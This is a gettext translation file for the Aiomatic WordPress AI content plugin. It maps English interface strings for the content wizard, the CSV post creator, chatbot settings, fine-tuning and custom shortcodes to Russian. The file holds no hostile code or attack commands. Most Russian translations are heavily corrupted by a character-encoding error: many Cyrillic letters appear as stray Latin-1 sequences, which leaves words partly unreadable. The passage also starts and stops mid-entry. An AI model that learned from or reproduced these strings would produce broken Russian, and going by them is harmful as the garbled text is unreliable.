Ñ€Ð°Ð·Ð»Ð¸Ñ‡Ð½Ñ‹Ð¼Ð¸ данными и форматированием, " "а также Ñоздавать файлы, такие как графики." #. Author of the plugin/theme msgid "CodeRevolution" msgstr "CodeRevolution" #: aiomatic-ajax-actions.php:7979 res/aiomatic-shortcodes.php:83 msgid "Cols" msgstr "Столбцы" #: res/aiomatic-main.php:2776 msgid "comic-book" msgstr "комикÑ" #: res/aiomatic-embeddings.php:359 res/aiomatic-spinner-list.php:4407 msgid "Comma separated list of post IDs to edit." msgstr "Разделенный запÑтыми ÑпиÑок идентификаторов поÑтов Ð´Ð»Ñ Ñ€ÐµÐ´Ð°ÐºÑ‚Ð¸Ñ€Ð¾Ð²Ð°Ð½Ð¸Ñ." #: res/aiomatic-embeddings.php:657 res/aiomatic-spinner-list.php:4773 msgid "Comment Count" msgstr "Ð’Ñего Комментариев" #: res/aiomatic-spinner-list.php:2727 msgid "Comment E-mail List:" msgstr "СпиÑок E-mail Ð´Ð»Ñ ÐšÐ¾Ð¼Ð¼ÐµÐ½Ñ‚Ð°Ñ€Ð¸ÐµÐ²:" #: res/aiomatic-more.php:30 msgid "Comment Replier:" msgstr "Ответчик Комментариев :" #: res/aiomatic-spinner-list.php:2748 msgid "Comment URL List:" msgstr "СпиÑок URL комментариев:" #: res/aiomatic-spinner-list.php:2706 msgid "Comment User Name List:" msgstr "СпиÑок имен пользователей комментариев:" #: res/aiomatic-amazon-list.php:3633 msgid "Comparison Table Prompt" msgstr "Промпт Сравнительной Таблицы" #: res/aiomatic-amazon-list.php:1088 res/aiomatic-single-list.php:5296 msgid "Comparison Table Prompt:" msgstr "Промпт Сравнительной Таблицы:" #: res/aiomatic-training.php:343 msgid "Completed" msgstr "Завершено" #: res/aiomatic-training.php:337 msgid "Completed Conversions" msgstr "Завершенные преобразованиÑ" #: res/aiomatic-training.php:165 msgid "Completion" msgstr "Завершено" #: res/aiomatic-main.php:8404 res/aiomatic-main.php:8923 msgid "Computer" msgstr "Компьютер" #: res/aiomatic-automation-list.php:2579 msgid "Configure advanced settings for this rule." msgstr "ÐаÑтройте дополнительные параметры Ð´Ð»Ñ Ñтого правила." #: res/aiomatic-automation-list.php:2569 msgid "Configures OmniBlocks for this rule." msgstr "ÐаÑтраивает OmniBlocks Ð´Ð»Ñ Ñтого правила." #: res/aiomatic-amazon-list.php:2388 res/aiomatic-automation-list.php:4950 #: res/aiomatic-csv-list.php:935 res/aiomatic-review-list.php:2457 #: res/aiomatic-rules-list.php:2585 res/aiomatic-youtube-list.php:2359 msgid "Confused about rule running status icons?" msgstr "Смущены правилом иконки ÑоÑтоÑниÑ?" #: res/aiomatic-amazon-list.php:1310 res/aiomatic-amazon-list.php:1437 #: res/aiomatic-amazon-list.php:3858 res/aiomatic-amazon-list.php:4011 #: res/aiomatic-embeddings.php:100 res/aiomatic-main.php:9277 #: res/aiomatic-main.php:9504 res/aiomatic-review-list.php:1379 #: res/aiomatic-review-list.php:1506 res/aiomatic-review-list.php:4011 #: res/aiomatic-review-list.php:4164 res/aiomatic-rules-list.php:1512 #: res/aiomatic-rules-list.php:1639 res/aiomatic-rules-list.php:4259 #: res/aiomatic-rules-list.php:4412 res/aiomatic-single-list.php:882 #: res/aiomatic-training.php:321 res/aiomatic-youtube-list.php:1266 #: res/aiomatic-youtube-list.php:1393 res/aiomatic-youtube-list.php:3769 #: res/aiomatic-youtube-list.php:3922 msgid "Content" msgstr "Контент" #: res/aiomatic-main.php:9279 res/aiomatic-main.php:9514 msgid "Content and Title" msgstr "Контент и название" #: res/aiomatic-main.php:6765 res/aiomatic-main.php:7267 msgid "Content Editing" msgstr "Редактирование Контента" #: res/aiomatic-spinner-list.php:1279 msgid "Content Image Editing Engine:" msgstr "Механизм Ð ÐµÐ´Ð°ÐºÑ‚Ð¸Ñ€Ð¾Ð²Ð°Ð½Ð¸Ñ Ð˜Ð·Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ð¹ Контента:" #: res/aiomatic-amazon-list.php:3344 res/aiomatic-review-list.php:3371 #: res/aiomatic-rules-list.php:3501 res/aiomatic-youtube-list.php:3238 msgid "Content Language" msgstr "Язык Контента" #: res/aiomatic-amazon-list.php:717 res/aiomatic-review-list.php:689 #: res/aiomatic-rules-list.php:656 res/aiomatic-single-list.php:1609 #: res/aiomatic-single-list.php:3597 res/aiomatic-single-list.php:4925 #: res/aiomatic-single-list.php:6194 res/aiomatic-youtube-list.php:659 msgid "Content Language:" msgstr "Язык Контента:" #: res/aiomatic-amazon-list.php:706 res/aiomatic-amazon-list.php:3337 #: res/aiomatic-review-list.php:678 res/aiomatic-review-list.php:3364 #: res/aiomatic-rules-list.php:645 res/aiomatic-rules-list.php:3494 #: res/aiomatic-single-list.php:647 res/aiomatic-single-list.php:1598 #: res/aiomatic-single-list.php:3586 res/aiomatic-single-list.php:4914 #: res/aiomatic-single-list.php:6183 res/aiomatic-youtube-list.php:648 #: res/aiomatic-youtube-list.php:3231 msgid "Content Parameters" msgstr "Параметры Контента" #: res/admin/ai-post-gutenberg.php:176 res/admin/ai-post.php:169 #: res/aiomatic-amazon-list.php:3465 res/aiomatic-review-list.php:3577 #: res/aiomatic-rules-list.php:3664 res/aiomatic-youtube-list.php:3401 msgid "Content Prompt" msgstr "Промпт Контента" #: res/aiomatic-amazon-list.php:936 res/aiomatic-review-list.php:968 #: res/aiomatic-rules-list.php:913 res/aiomatic-single-list.php:1866 #: res/aiomatic-single-list.php:3854 res/aiomatic-single-list.php:5144 #: res/aiomatic-single-list.php:6473 res/aiomatic-youtube-list.php:916 msgid "Content Prompt:" msgstr "Промпт Генератора Контента:" #: res/aiomatic-main.php:4395 msgid "Content separator" msgstr "Разделитель контента" #: aiomatic-automation.php:1074 msgid "Content Template" msgstr "Шаблон контента" #: aiomatic-automation.php:1068 msgid "Content Type" msgstr "Тип контента" #: res/aiomatic-main.php:32 res/aiomatic-main.php:6795 #: res/aiomatic-main.php:7297 res/aiomatic-more.php:12 msgid "Content Wizard" msgstr "МаÑтер контента" #: res/aiomatic-main.php:3335 msgid "Content Wizard Frequency Penalty:" msgstr "Штраф за чаÑтоту иÑÐ¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ð½Ð¸Ñ Ð¼Ð°Ñтера контента:" #: res/aiomatic-main.php:3024 msgid "Content Wizard General Settings:" msgstr "Общие наÑтройки маÑтера контента:" #: res/aiomatic-main.php:3171 msgid "Content Wizard Image Model:" msgstr "Модель Ð¸Ð·Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ñ ÐœÐ°Ñтера Контента:" #: res/aiomatic-main.php:3119 msgid "Content Wizard Image Settings:" msgstr "ÐаÑтройки Ð¸Ð·Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ñ ÐœÐ°Ñтера Контента:" #: res/aiomatic-main.php:3130 msgid "Content Wizard Image Size:" msgstr "Размер Ð¸Ð·Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ñ ÐœÐ°Ñтера Контента:" #: res/aiomatic-main.php:3262 msgid "Content Wizard Model:" msgstr "Модель МаÑтера Контента:" #: res/aiomatic-main.php:3320 msgid "Content Wizard Presence Penalty:" msgstr "Штраф за приÑутÑтвие МаÑтера Контента:" #: res/aiomatic-main.php:3345 msgid "Content Wizard Prompts:" msgstr "Промпты МаÑтера Контента:" #: res/aiomatic-main.php:3102 msgid "Content Wizard Result Placement:" msgstr "Размещение результатов маÑтера контента:" #: res/aiomatic-main.php:3290 msgid "Content Wizard Temperature:" msgstr "Температура маÑтера контента:" #: res/aiomatic-main.php:3204 msgid "Content Wizard Text Completion Settings:" msgstr "ÐаÑтройки Ð·Ð°Ð²ÐµÑ€ÑˆÐµÐ½Ð¸Ñ Ñ‚ÐµÐºÑта маÑтера контента:" #: res/aiomatic-main.php:3305 msgid "Content Wizard Top_p:" msgstr "МаÑтер контента Top_p:" #: res/aiomatic-more.php:64 msgid "Content Wizard Tutorial Video:" msgstr "Обучающее видео по маÑтеру контента:" #: res/aiomatic-more.php:24 msgid "Content Wizard:" msgstr "МаÑтер контента:" #: res/aiomatic-main.php:5001 msgid "Context Window Limit For Claude 200k Models:" msgstr "Ограничение контекÑтного окна Ð´Ð»Ñ Ð¼Ð¾Ð´ÐµÐ»ÐµÐ¹ Claude 200k:" #: res/aiomatic-main.php:4985 msgid "Context Window Limit For Claude Models:" msgstr "Ограничение контекÑтного окна Ð´Ð»Ñ Ð¼Ð¾Ð´ÐµÐ»ÐµÐ¹ Claude:" #: res/aiomatic-main.php:4953 msgid "Context Window Limit For gpt-3.5-turbo-1106:" msgstr "Ограничение контекÑтного окна Ð´Ð»Ñ gpt-3.5-turbo-1106:" #: res/aiomatic-main.php:4969 msgid "Context Window Limit For gpt-4-1106:" msgstr "Ограничение контекÑтного окна Ð´Ð»Ñ gpt-4-1106:" #: res/aiomatic-single-list.php:282 msgid "Continue Creating Posts With AI" msgstr "Продолжайте Ñоздавать ПоÑÑ‚Ñ‹ Ñ Ð¿Ð¾Ð¼Ð¾Ñ‰ÑŒÑŽ AI" #: res/aiomatic-training.php:331 msgid "Convert" msgstr "Конвертировать" #: res/aiomatic-chatbot.php:4110 res/aiomatic-main.php:6435 msgid "Convert Markdown To HTML In AI Generated Post Content:" msgstr "Преобразование Markdown в HTML в Контенте ПоÑта, Ñгенерированном AI:" #: res/aiomatic-main.php:6455 msgid "Convert New Lines To Line Breaks (br) In AI Generated Post Content:" msgstr "" "Преобразование Ðовых Строк в разрывы Ñтрок (br) в Контенте ПоÑта, Ñозданном " "AI:" #: res/aiomatic-spinner-list.php:3750 msgid "Copy Audio/Video Files:" msgstr "Копирование аудио/видео файлов:" #: res/aiomatic-spinner-list.php:2938 msgid "Copy Meta Description From Post Excerpt Instead Of Generating It:" msgstr "Скопируйте метаопиÑание из отрывка поÑта вмеÑто его ÑозданиÑ:" #: res/aiomatic-main.php:4442 msgid "Copy Royalty Free / AI Images From Post Content:" msgstr "Скопируйте роÑлти-фри/AI Ð¸Ð·Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ñ Ð¸Ð· контента поÑта:" #: res/aiomatic-chatbot.php:875 msgid "Copy Text" msgstr "Копировать текÑÑ‚" #: res/aiomatic-main.php:5249 msgid "Copy The Taxonomy Description" msgstr "Скопируйте ОпиÑание ТакÑономии" #: res/aiomatic-amazon-list.php:75 res/aiomatic-review-list.php:75 #: res/aiomatic-rules-list.php:75 res/aiomatic-single-list.php:75 #: res/aiomatic-single-list.php:213 res/aiomatic-youtube-list.php:75 msgid "Corsican" msgstr "КорÑиканÑкий" #: res/aiomatic-languages.php:75 msgid "Corsican (Google Translate)" msgstr "КорÑиканец (переводчик Google)" #: res/admin/ai-post-gutenberg.php:18 res/admin/ai-post.php:18 #, php-format msgid "" "Craft an enticing and succinct meta description in English for your " "WordPress %s: \"%s\". Emphasize the notable features and advantages in just " "155 characters, incorporating relevant keywords to optimize its SEO " "performance." msgstr "" "Создайте заманчивое и краткое мета-опиÑание на английÑком Ñзыке Ð´Ð»Ñ Ð²Ð°ÑˆÐµÐ³Ð¾ " "WordPress %s: «%s». Подчеркните заметные оÑобенноÑти и преимущеÑтва вÑего в " "155 Ñимволах, включив ÑоответÑтвующие ключевые Ñлова Ð´Ð»Ñ Ð¾Ð¿Ñ‚Ð¸Ð¼Ð¸Ð·Ð°Ñ†Ð¸Ð¸ " "ÑффективноÑти SEO." #: res/admin/ai-post-gutenberg.php:26 res/admin/ai-post.php:26 #, php-format msgid "" "Create a captivating and comprehensive English description for your " "WordPress %s: \"%s\". Dive into specific details, highlighting its unique " "features of this subject, if possible, benefits, and the value it brings. " "Craft a compelling narrative around the %s that captivates the audience. Use " "HTML for formatting, include unnumbered lists and bold. Writing Style: " "Creative. Tone: Neutral." msgstr "" "Создайте увлекательное и подробное опиÑание на английÑком Ñзыке Ð´Ð»Ñ Ð²Ð°ÑˆÐµÐ³Ð¾ " "WordPress %s: «%s». ПогрузитеÑÑŒ в конкретные детали, выделив Ñвои уникальные " "оÑобенноÑти данного предмета, по возможноÑти преимущеÑтва и ценноÑÑ‚ÑŒ, " "которую он неÑет. Создайте захватывающее повеÑтвование вокруг %s, которое " "увлечет аудиторию. ИÑпользуйте HTML Ð´Ð»Ñ Ñ„Ð¾Ñ€Ð¼Ð°Ñ‚Ð¸Ñ€Ð¾Ð²Ð°Ð½Ð¸Ñ, включайте " "ненумерованные ÑпиÑки и жирный шрифт. Стиль напиÑаниÑ: Creative. Тон: " "Neutral." #: res/admin/ai-post-gutenberg.php:10 res/admin/ai-post.php:10 #, php-format msgid "" "Create a captivating and concise SEO title in English for your WordPress %s: " "\"%s\". Boost its search engine visibility with relevant keywords for " "maximum impact." msgstr "" "Создайте привлекательный и краткий SEO-заголовок на английÑком Ñзыке Ð´Ð»Ñ " "вашего WordPress %s: «%s». ПовыÑьте видимоÑÑ‚ÑŒ в поиÑковых ÑиÑтемах Ñ Ð¿Ð¾Ð¼Ð¾Ñ‰ÑŒÑŽ " "релевантных ключевых Ñлов Ð´Ð»Ñ Ð¼Ð°ÐºÑимального Ñффекта." #: res/aiomatic-embeddings.php:52 msgid "" "create as many high quality questions and answers as possible, add them on a " "single line, give detailed context. In this case (contrary to AI model " "training) you don't need to create very large amounts of data, it is enough " "to enter just the information which you would like the AI model to learn " "about." msgstr "" "Ñоздавайте как можно больше качеÑтвенных ВопроÑов и Ответов, добавлÑйте их в " "одну Ñтроку, давайте подробный контекÑÑ‚. Ð’ Ñтом Ñлучае (в отличие от " "Ð¾Ð±ÑƒÑ‡ÐµÐ½Ð¸Ñ Ð¼Ð¾Ð´ÐµÐ»Ð¸ AI) вам не нужно Ñоздавать очень большие объемы данных, " "доÑтаточно ввеÑти только ту информацию, которую вы хотите, чтобы модель AI " "узнала." #: res/aiomatic-training.php:60 msgid "" "create as many high quality questions and answers as possible, containing as " "much useful information you can think of, which can teach the AI about the " "purpose of your finetune. Keep in mind that you might need to create very " "large amounts of data (tens of tousands of questions and answers) for this " "to work as expected." msgstr "" "Ñоздавайте как можно больше качеÑтвенных ВопроÑов и Ответов, Ñодержащих как " "можно больше полезной информации, которую вы можете придумать, и ÐºÐ¾Ñ‚Ð¾Ñ€Ð°Ñ " "может раÑÑказать AI о цели вашей Тонкой ÐаÑтройки. Имейте в виду, что вам " "может потребоватьÑÑ Ñоздать очень большие объемы данных (деÑÑтки Ñ‚Ñ‹ÑÑч " "ВопроÑов и Ответов), чтобы Ñто работало должным образом." #: res/aiomatic-training.php:449 msgid "Create Fine-Tune" msgstr "Создать Тонкую ÐаÑтройку" #: res/aiomatic-assistants.php:118 res/aiomatic-training.php:427 #: res/aiomatic-training.php:509 msgid "Created At" msgstr "Создан в" #: res/aiomatic-main.php:1675 msgid "Created At:" msgstr "Создано:" #: res/aiomatic-spinner-list.php:1862 msgid "Created Content Minimum Character Count:" msgstr "Минимальное количеÑтво Ñимволов в Ñоздаваемом Контенте:" #: aiomatic-automatic-ai-content-writer.php:12962 #: res/aiomatic-automation-list.php:326 res/aiomatic-automation-list.php:2793 #: res/aiomatic-automation-list.php:5544 msgid "" "Created shortcodes by this OmniBlock (usable in OmniBlocks from below this " "one): " msgstr "" "Созданные Ñтим OmniBlock шорткоды (можно иÑпользовать в OmniBlocks ниже):" #: res/aiomatic-limits-statistics.php:1434 msgid "Credit Type" msgstr "Тип Кредита" #: aiomatic-automatic-ai-content-writer.php:13845 #: aiomatic-automatic-ai-content-writer.php:14631 #: res/aiomatic-automation-list.php:1207 res/aiomatic-automation-list.php:1995 #: res/aiomatic-automation-list.php:3674 res/aiomatic-automation-list.php:4462 #: res/aiomatic-automation-list.php:6427 res/aiomatic-automation-list.php:7223 msgid "Critical" msgstr "КритичеÑкий" #: res/aiomatic-amazon-list.php:18 res/aiomatic-review-list.php:18 #: res/aiomatic-rules-list.php:18 res/aiomatic-single-list.php:18 #: res/aiomatic-single-list.php:156 res/aiomatic-youtube-list.php:18 msgid "Croatian" msgstr "хорватÑкий" #: res/aiomatic-languages.php:14 msgid "Croatian (Google Translate)" msgstr "ХорватÑкий (переводчик Google)" #: aiomatic-automatic-ai-content-writer.php:1331 msgid "CSV AI Post Creator" msgstr "CSV AI-Создатель ПоÑтов" #: res/aiomatic-csv-list.php:27 msgid "CSV AI Post Creator Tutorial" msgstr "Уроки по CSV AI-Создатель ПоÑтов" #: res/aiomatic-csv-list.php:929 msgid "CSV example file 1 (basic functionality)" msgstr "Пример CSV-файла 1 (Ð±Ð°Ð·Ð¾Ð²Ð°Ñ Ñ„ÑƒÐ½ÐºÑ†Ð¸Ð¾Ð½Ð°Ð»ÑŒÐ½Ð¾ÑÑ‚ÑŒ)" #: res/aiomatic-csv-list.php:929 msgid "CSV example file 2 (advanced file with some additional variables)" msgstr "" "Пример файла CSV 2 (раÑширенный файл Ñ Ð½ÐµÐºÐ¾Ñ‚Ð¾Ñ€Ñ‹Ð¼Ð¸ дополнительными " "переменными)" #: res/aiomatic-csv-list.php:929 msgid "CSV example file 3 (advanced file with nested [aicontent] shortcodes" msgstr "" "Пример CSV-файла 3 (раÑширенный файл Ñ Ð²Ð»Ð¾Ð¶ÐµÐ½Ð½Ñ‹Ð¼Ð¸ короткими кодами " "[aicontent])." #: res/aiomatic-single-list.php:1106 msgid "CSV File" msgstr "CSV-файл" #: res/aiomatic-csv-list.php:202 res/aiomatic-csv-list.php:1327 #: res/aiomatic-single-list.php:1112 msgid "CSV File Options" msgstr "Параметры CSV-файла" #: res/aiomatic-csv-list.php:1334 msgid "CSV File Separator (Optional)" msgstr "Разделитель файлов CSV (необÑзательно)" #: res/aiomatic-csv-list.php:214 res/aiomatic-single-list.php:1124 msgid "CSV File Separator (Optional):" msgstr "Разделитель файлов CSV (необÑзательно):" #: res/aiomatic-csv-list.php:78 res/aiomatic-single-list.php:1054 msgid "CSV File URLs List" msgstr "СпиÑок URL-адреÑов файлов CSV" #: res/aiomatic-single-list.php:966 msgid "CSV To Post" msgstr "CSV Ð´Ð»Ñ Ð¿ÑƒÐ±Ð»Ð¸ÐºÐ°Ñ†Ð¸Ð¸" #: res/aiomatic-logs.php:373 msgid "cURL SSL version" msgstr "SSL-верÑÐ¸Ñ cURL" #: res/aiomatic-logs.php:368 msgid "cURL version" msgstr "cURL-верÑиÑ" #: res/aiomatic-amazon-list.php:2111 res/aiomatic-amazon-list.php:4703 #: res/aiomatic-automation-list.php:4674 res/aiomatic-automation-list.php:7395 #: res/aiomatic-csv-list.php:658 res/aiomatic-csv-list.php:1806 #: res/aiomatic-review-list.php:2180 res/aiomatic-review-list.php:4856 #: res/aiomatic-rules-list.php:2309 res/aiomatic-rules-list.php:5092 #: res/aiomatic-youtube-list.php:2082 res/aiomatic-youtube-list.php:4631 msgid "Current Server Time:" msgstr "Текущее Ð²Ñ€ÐµÐ¼Ñ Ñервера:" #: res/image-seo/seo-panel.php:151 msgid "Current thumbnail" msgstr "Ð¢ÐµÐºÑƒÑ‰Ð°Ñ Ð¼Ð¸Ð½Ð¸Ð°Ñ‚ÑŽÑ€Ð°" #: res/aiomatic-chatbot.php:1499 res/aiomatic-chatbot.php:2733 #: res/aiomatic-spinner-list.php:2987 msgid "Currently Only OpenAI API is supported for TTS" msgstr "Ð’ наÑтоÑщее Ð²Ñ€ÐµÐ¼Ñ Ð´Ð»Ñ TTS поддерживаетÑÑ Ñ‚Ð¾Ð»ÑŒÐºÐ¾ OpenAI API." #: res/aiomatic-shortcodes.php:169 msgid "Currently supported models to be used in shortcodes:" msgstr "Ð’ наÑтоÑщее Ð²Ñ€ÐµÐ¼Ñ Ð¿Ð¾Ð´Ð´ÐµÑ€Ð¶Ð¸Ð²Ð°ÑŽÑ‚ÑÑ Ð¼Ð¾Ð´ÐµÐ»Ð¸ Ð´Ð»Ñ Ð¸ÑÐ¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ð½Ð¸Ñ Ð² Шорткодах:" #: res/aiomatic-spinner-list.php:1197 msgid "" "Currently, as the AI editor is in beta, it might have difficulties editing " "longer texts. If you encounter this issue, you can limit the chunk size " "which is sent to the AI editor (in characters). Leave this blank if editing " "works well in your case." msgstr "" "Ð’ наÑтоÑщее времÑ, поÑкольку редактор AI находитÑÑ Ð² Ñтади бета-теÑтированиÑ," " у него могут возникнуть трудноÑти Ñ Ñ€ÐµÐ´Ð°ÐºÑ‚Ð¸Ñ€Ð¾Ð²Ð°Ð½Ð¸ÐµÐ¼ более длинных текÑтов. " "ЕÑли вы ÑтолкнулиÑÑŒ Ñ Ñтой проблемой, вы можете ограничить размер фрагмента, " "отправлÑемого в редактор AI (в Ñимволах). ОÑтавьте Ñто поле пуÑтым, еÑли " "редактирование работает в вашем Ñлучае." #: res/aiomatic-spinner-list.php:1212 msgid "" "Currently, because of an issue with the AI editor, sometimes it might remove " "parts of the HTML content you send to it for editing. The Aiomatic plugin " "can check if this happens and not change the post in these cases. If you " "check this checkbox, the edited content will be published, even if it misses " "some HTML tags. Do you want to publish edited content even if the AI editor " "removed some or all HTML content from the text?" msgstr "" "Ð’ наÑтоÑщее Ð²Ñ€ÐµÐ¼Ñ Ð¸Ð·-за проблемы Ñ Ñ€ÐµÐ´Ð°ÐºÑ‚Ð¾Ñ€Ð¾Ð¼ AI иногда он может удалÑÑ‚ÑŒ " "чаÑти Ñодержимого HTML, которое вы отправлÑете ему Ð´Ð»Ñ Ñ€ÐµÐ´Ð°ÐºÑ‚Ð¸Ñ€Ð¾Ð²Ð°Ð½Ð¸Ñ. " "Плагин Aiomatic может проверить, проиÑходит ли Ñто, и не менÑÑ‚ÑŒ поÑÑ‚ в Ñтих " "ÑлучаÑÑ…. ЕÑли вы уÑтановите Ñтот флажок, отредактированный Контент будет " "опубликован, даже еÑли в нем отÑутÑтвуют некоторые теги HTML. Ð’Ñ‹ хотите " "опубликовать отредактированный Контент, даже еÑли редактор AI удалил чаÑÑ‚ÑŒ " "или веÑÑŒ HTML-Контент из текÑта?" #: res/aiomatic-amazon-list.php:1779 res/aiomatic-amazon-list.php:4349 #: res/aiomatic-review-list.php:1848 res/aiomatic-review-list.php:4502 #: res/aiomatic-rules-list.php:1977 res/aiomatic-rules-list.php:4738 #: res/aiomatic-single-list.php:2426 res/aiomatic-single-list.php:3176 #: res/aiomatic-single-list.php:4429 res/aiomatic-single-list.php:5743 #: res/aiomatic-single-list.php:7109 res/aiomatic-youtube-list.php:1735 #: res/aiomatic-youtube-list.php:4260 #, php-format #| msgid "" #| "Custom AI generated content shortcode creator. If you wish to create " #| "content from multiple AI prompts, and use them in post content/post " #| "custom fields/taxonomies, you can configure this from here. Also, these " #| "shortcodes will be able to be used in custom fields or custom taxonomies " #| "which the plugin will create. Syntax for this field: shortcode_name => " #| "AI_MODEL_TO_USE @@ TEXTUAL_PROMPT_TO_USE (to specify multiple shortcodes " #| "and crawling values, separate them by a new line. Example: " #| "my_custom_shortcode => text-davinci-003 @@ Write a short poem. Afterwards," #| " you can use shortcodes in any settings field that supports shortcodes " #| "(ex: 'HTML Text To Append To AI Created Content' settings field), like " #| "this: %%my_custom_shortcode%%. Official format is " #| "%%name_of_custom_shortcode%%" msgid "" "Custom AI generated content shortcode creator. If you wish to create content " "from multiple AI prompts, and use them in post content/post custom " "fields/taxonomies, you can configure this from here. Also, these shortcodes " "will be able to be used in custom fields or custom taxonomies which the " "plugin will create. Syntax for this field: shortcode_name => AI_MODEL_TO_USE " "@@ TEXTUAL_PROMPT_TO_USE (to specify multiple shortcodes and crawling values," " separate them by a new line. Example: my_custom_shortcode => gpt-3.5-turbo-" "instruct @@ Write a short poem. Afterwards, you can use shortcodes in any " "settings field that supports shortcodes (ex: 'HTML Text To Append To AI " "Created Content' settings field), like this: %%my_custom_shortcode%%. " "Official format is %%name_of_custom_shortcode%%" msgstr "" "Создатель пользовательÑкого Шорткода Контента, Ñгенерированного AI. ЕÑли вы " "хотите Ñоздать Контент из неÑкольких Промптов AI и иÑпользовать их в " "публикации Контента/публикации наÑтраиваемых полей/такÑономий, вы можете " "наÑтроить Ñто здеÑÑŒ. Кроме того, Ñти Шорткоды можно будет иÑпользовать в " "наÑтраиваемых полÑÑ… или наÑтраиваемых такÑономиÑÑ…, которые ÑоздаÑÑ‚ Плагин. " "СинтакÑÐ¸Ñ Ð´Ð»Ñ Ñтого полÑ: shortcode_name => AI_MODEL_TO_USE @@ " "TEXTUAL_PROMPT_TO_USE (чтобы указать неÑколько коротких кодов и значений " "ÑканированиÑ, Разделите их новой Ñтрокой. Пример: my_custom_shortcode => gpt-" "3.5-turbo-instruct @@ Ðапишите короткое Ñтихотворение. ПоÑле Ñтого вы можете " "иÑпользовать Шорткоды в любом поле ÐаÑтроек, которое поддерживает Шорткоды " "(например, поле ÐаÑтроек «ТекÑÑ‚ HTML Ð´Ð»Ñ Ð´Ð¾Ð±Ð°Ð²Ð»ÐµÐ½Ð¸Ñ Ðº Ñодержимому, " "Ñозданному AI»), например: %%my_custom_shortcode%%. Официальный формат: " "%%name_of_custom_shortcode%%" #: res/aiomatic-chatbot.php:638 msgid "Custom Chatbot Builder" msgstr "ПользовательÑкий КонÑтруктор Чат-ботов" #: aiomatic-automatic-ai-content-writer.php:15568 #: aiomatic-automatic-ai-content-writer.php:15584 #: aiomatic-automatic-ai-content-writer.php:15600 #: aiomatic-automatic-ai-content-writer.php:15616 #: aiomatic-automatic-ai-content-writer.php:15632 #: aiomatic-automatic-ai-content-writer.php:15648 msgid "Custom field deleted." msgstr "ПользовательÑкое поле удалено." #: aiomatic-automatic-ai-content-writer.php:15567 #: aiomatic-automatic-ai-content-writer.php:15583 #: aiomatic-automatic-ai-content-writer.php:15599 #: aiomatic-automatic-ai-content-writer.php:15615 #: aiomatic-automatic-ai-content-writer.php:15631 #: aiomatic-automatic-ai-content-writer.php:15647 msgid "Custom field updated." msgstr "ПользовательÑкое поле обновлено." #: aiomatic-automation.php:1178 msgid "Custom Fields" msgstr "ÐаÑтраиваемые полÑ" #: res/aiomatic-main.php:29 msgid "Custom HTML" msgstr "ПользовательÑкий HTML" #: res/aiomatic-main.php:9072 msgid "Custom HTML #1" msgstr "ПользовательÑкий HTML # 1" #: res/aiomatic-main.php:9090 msgid "Custom HTML #2" msgstr "ПользовательÑкий HTML # 2" #: res/aiomatic-main.php:9069 msgid "Custom HTML Code #1:" msgstr "ПользовательÑкий HTML-код â„– 1:" #: res/aiomatic-main.php:9087 msgid "Custom HTML Code #2:" msgstr "ПользовательÑкий HTML-код â„– 2:" #: res/aiomatic-main.php:9056 msgid "Custom HTML Code/ Ad Code:" msgstr "ПользовательÑкий HTML-код / ​​рекламный код:" #: res/aiomatic-training.php:127 msgid "Custom Model Name" msgstr "ПользовательÑкое Ð˜Ð¼Ñ ÐœÐ¾Ð´ÐµÐ»Ð¸" #: res/aiomatic-training.php:234 msgid "Custom Name" msgstr "ПользовательÑкое имÑ" #: res/aiomatic-amazon-list.php:4352 res/aiomatic-review-list.php:4505 #: res/aiomatic-rules-list.php:4741 res/aiomatic-youtube-list.php:4263 msgid "Custom Shortcode Creator (Optional)" msgstr "Создатель пользовательÑких Шорткодов (необÑзательно)" #: res/aiomatic-amazon-list.php:1783 res/aiomatic-review-list.php:1852 #: res/aiomatic-rules-list.php:1981 res/aiomatic-single-list.php:2430 #: res/aiomatic-single-list.php:3180 res/aiomatic-single-list.php:4433 #: res/aiomatic-single-list.php:5747 res/aiomatic-single-list.php:7113 #: res/aiomatic-youtube-list.php:1739 msgid "Custom Shortcode Creator (Optional):" msgstr "Создатель пользовательÑких Шорткодов (необÑзательно):" #: aiomatic-automation.php:1185 msgid "Custom Taxonomies" msgstr "ПользовательÑкие такÑономии" #: aiomatic-automation.php:1180 msgid "" "custom_field_name1 => custom_field_value1, custom_field_name2 => " "custom_field_value2" msgstr "" "custom_field_name1 => custom_field_value1, custom_field_name2 => " "custom_field_value2" #: aiomatic-automation.php:1187 msgid "" "custom_taxonomy_name1 => custom_taxonomy_value1A, custom_taxonomy_value1B; " "custom_taxonomy_name2 => custom_taxonomy_value2A, custom_taxonomy_value2B" msgstr "" "custom_taxonomy_name1 => custom_taxonomy_value1A, custom_taxonomy_value1B; " "custom_taxonomy_name2 => custom_taxonomy_value2A, custom_taxonomy_value2B" #: res/aiomatic-amazon-list.php:19 res/aiomatic-main.php:8533 #: res/aiomatic-review-list.php:19 res/aiomatic-rules-list.php:19 #: res/aiomatic-single-list.php:19 res/aiomatic-single-list.php:157 #: res/aiomatic-youtube-list.php:19 msgid "Czech" msgstr "чешÑкий Ñзык" #: res/aiomatic-languages.php:15 msgid "Czech (Google Translate)" msgstr "ЧешÑкий (переводчик Google)" #: res/aiomatic-main.php:2207 msgid "D-ID" msgstr "D-ID" #: res/aiomatic-main.php:2196 msgid "D-ID API:" msgstr "D-ID API:" #: res/aiomatic-chatbot.php:3462 msgid "D-ID Streaming Video Update:" msgstr "Обновление потокового видео D-ID:" #: aiomatic-streaming.php:143 msgid "" "Daily token count for your user account is exceeded! Please try again " "tomorrow." msgstr "" "Суточное количеÑтво токенов Ð´Ð»Ñ Ð²Ð°ÑˆÐµÐ¹ учетной запиÑи превышено! ПожалуйÑта, " "повторите попытку завтра." #: aiomatic-ajax-actions.php:5209 #| msgid "" #| "Daily token count for your user account was exceeded! Please try again " #| "tomorrow." msgid "" "Daily token count of your user account was exceeded! Please try again " "tomorrow." msgstr "" "Превышен Ñуточный Ð·Ð°Ð¿Ð°Ñ Ñ‚Ð¾ÐºÐµÐ½Ð¾Ð² Ð´Ð»Ñ Ð²Ð°ÑˆÐµÐ¹ учетной запиÑи! ПожалуйÑта, " "повторите попытку завтра." #: aiomatic-ajax-actions.php:9299 